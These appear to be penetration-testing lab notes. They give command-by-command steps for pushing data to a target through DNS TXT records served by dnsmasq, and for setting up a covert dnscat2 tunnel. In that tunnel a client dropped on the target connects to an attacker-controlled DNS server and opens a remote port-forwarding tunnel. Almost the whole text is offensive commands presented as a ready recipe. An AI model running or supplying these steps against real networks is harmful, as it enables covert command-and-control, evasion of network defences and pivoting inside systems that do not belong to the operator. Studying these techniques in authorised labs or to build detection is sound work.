Manual DNS TXT Record Infiltration with dnsmasq:
- Edit 'dnsmasq_txt.conf' on controlled dnsmasq server. Example:
# TXT record
txt-record=www.feline.corp,here's something useful!
txt-record=www.feline.corp,here's something else less useful.
- Start dnsmaq:
sudo dnsmasq -C dnsmasq_txt.conf -d
- Check that DNS requests are properly routed on target:
resolvectl status
- Run a TXT resolution from the target to the server:
nslookup -type=txt www.feline.corp
DNS Tunneling with dnscat2:
- Start dnscat2-server on your authorative DNS server:
dnscat2-server <domain>
- Transfer the dnscat binary to the target from: https://github.com/iagox86/dnscat2
- Start the clients and connect them:
./dnscat --secret=<secret> <domain>
- Enter your initiated window from the server:
#List active windows:
windows
#Enter the window:
window -i 1
- Set up remote port forwarding tunnel:
listen 0.0.0.0:2345 <outip>:<outport>
- Use tunnel with server port and ip = win!